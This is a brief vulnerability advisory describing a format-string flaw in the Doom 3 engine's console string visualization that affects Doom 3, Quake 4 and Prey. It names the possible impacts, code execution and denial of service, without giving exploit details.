Description: id Software Doom 3 Engine - Console String Visualization Format String

id Software Doom 3 engine is prone to a format-string vulnerability.

Exploiting this issue will allow attackers to execute arbitrary code with the permissions of a user running the application. Failed attacks will likely cause denial-of-service conditions.

Several games that use the Doom 3 engine are affected, including Doom 3, Quake 4, and Prey.
